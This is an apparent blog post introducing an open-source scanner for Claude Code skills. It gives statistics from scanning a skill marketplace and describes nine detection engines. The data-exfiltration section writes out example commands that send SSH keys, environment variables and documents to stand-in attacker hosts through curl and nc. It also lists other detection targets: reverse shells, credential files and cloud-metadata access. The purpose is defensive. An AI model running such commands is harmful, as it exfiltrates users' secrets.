Claude Skill Antivirus: Secure Your Code Workflow

Third-party skills extend Claude Code’s capabilities—but how do you know they’re safe?

We built claude-skill-antivirus to answer this question. It scans skills for malicious patterns before installation, using 9 specialized security engines.

Then we scanned all 71,577 skills on SkillsMP. Here’s what we found.

The Problem: Skill Security

Skills in Claude Code can:

• Execute bash commands
• Read and write files
• Make network requests
• Access environment variables
• Spawn sub-agents

A malicious skill could:

• Steal SSH keys and credentials
• Exfiltrate code to external servers
• Install backdoors
• Access cloud metadata (AWS, GCP, Azure)
• Chain attacks through sub-agents

The Claude Code ecosystem needs a security layer.

SkillsMP Scan Results

We scanned all 71,577 skills on the SkillsMP platform:

Risk Level	Count	Percentage
CRITICAL	91	0.13%
HIGH	626	0.87%
MEDIUM	1,310	1.83%
SAFE	69,505	97.11%

Key finding: ~3% of skills may have potential risks.

Critical Findings Breakdown

Category	Count	Description
Password Manager Access	41	Attempts to access 1Password, Bitwarden, Dashlane
Network + Metadata Access	31	Combination of network tools and metadata access
Browser Credentials	7	Accessing browser passwords/cookies
Scheduled Exfiltration	7	Cron-based data exfiltration patterns
Typosquatting	2	Suspicious package names (phishing)

False Positive Consideration

Some findings may be legitimate:

• Password manager skills (1password, bitwarden) may be official integrations
• Browser automation skills may legitimately need browser access
• API integration skills may trigger network warnings

Always manually review flagged skills before deciding.

9 Security Scanning Engines

1. Dangerous Commands Scanner

Detects destructive shell commands:

Risk	Examples
Critical	rm -rf /, `curl
High	/etc/shadow access, reverse shells
Medium	rm -rf, permission changes

2. Data Exfiltration Scanner

Detects read-local-send-remote patterns:

cat ~/.ssh/id_rsa | base64 | curl -d @- https://evil.com
env | curl -X POST https://collector.io
tar czf - ~/Documents | nc attacker.com 8080

3. Permission Scanner

Analyzes allowed-tools declarations:

• Critical: Bash(*) - unrestricted shell
• High: Write, WebFetch combined
• Dangerous combinations: Read + WebFetch = exfiltration risk

4. External Connections Scanner

Identifies suspicious URLs:

• Direct IP URLs
• Webhook/data capture services
• Suspicious TLDs (.tk, .ml)
• Discord/Telegram webhooks

5. Pattern Scanner

Detects:

• Prompt injection attacks
• Hardcoded credentials
• Obfuscated code (base64, hex)
• Social engineering language

6. MCP Security Scanner

Validates MCP server configurations:

• Untrusted sources
• Dangerous permissions (filesystem + network)
• Exposed credentials

7. SSRF Scanner

Detects Server-Side Request Forgery:

Target	Examples
Cloud Metadata	169.254.169.254, IMDSv2 bypass
Internal Network	10.x.x.x, 192.168.x.x probing
Kubernetes	Service account secrets, API access
Docker	docker.sock access, container escape

8. Dependency Scanner

Detects malicious packages:

• Known malicious: event-stream, colors, faker
• Typosquatting: crossenv, lodash-, mongose
• Suspicious install scripts

9. Sub-agent Scanner

Detects Task tool abuse:

• Privilege escalation (spawning Bash agents)
• Agent chain attacks (nested Task calls)
• DoS attacks (infinite recursion)

Usage

Install Globally

npm install -g claude-skill-antivirus

Scan Before Install

# Scan only (recommended first step)
skill-install ./path/to/skill --scan-only

# Install to project level (default)
skill-install https://github.com/user/skill-repo

# Install to user level
skill-install @skillsmp/example-skill --global

Example Output

Safe skill:

===========================================
     SECURITY SCAN REPORT
===========================================
Risk Level: ✅ SAFE

📊 Findings Summary:
  🟢 CRITICAL: 0
  🟢 HIGH:     0
  🟢 MEDIUM:   0
  🟢 LOW:      0
  ℹ️  INFO:     2

✅ Recommendation: Safe to install

Malicious skill detected:

===========================================
     SECURITY SCAN REPORT
===========================================
Risk Level: ☠️ CRITICAL

📊 Findings Summary:
  🔴 CRITICAL: 5
  🟠 HIGH:     3
  🟡 MEDIUM:   2

🔴 CRITICAL Findings:
  • [Data Collection] Reading sensitive credential files
  • [Data Exfiltration] curl sending command output
  ...

❌ Recommendation: DO NOT INSTALL

Programmatic API

Use the scanner in your own tools:

import { SecurityScanner, loadSkill } from 'claude-skill-antivirus';

const scanner = new SecurityScanner();
const skill = await loadSkill('./path/to/skill');
const findings = await scanner.scan(skill);

if (findings.critical.length > 0) {
  console.error('Skill contains critical security risks!');
  process.exit(1);
}

Integration with CI/CD

Add skill scanning to your pipeline:

# .github/workflows/skill-check.yml
- name: Scan Skills
  run: |
    npx claude-skill-antivirus ./.claude/skills/* --scan-only
    if [ $? -ne 0 ]; then
      echo "Security scan failed!"
      exit 1
    fi

Recommendations

For Users

1. Always scan before install: skill-install <source> --scan-only
2. Review flagged skills manually before deciding
3. Prefer project-level installs over global
4. Use official/verified skills when available

For Skill Authors

1. Minimize permissions - only request what you need
2. Avoid patterns that access password managers or browser credentials
3. Document external connections clearly
4. Don’t use obfuscated code

For Platforms

1. Automated scanning of submitted skills
2. Clear risk labeling in skill marketplace
3. Verification badges for reviewed skills

Open Source

claude-skill-antivirus is open source under MIT license.

• GitHub: github.com/claude-world/claude-skill-antivirus
• npm: npm install -g claude-skill-antivirus
• Full scan report: SCAN-REPORT.md

Contributing

We welcome contributions:

• New detection patterns
• False positive improvements
• Additional scanning engines
• Language support

---

Security is everyone’s responsibility. Scan before you install.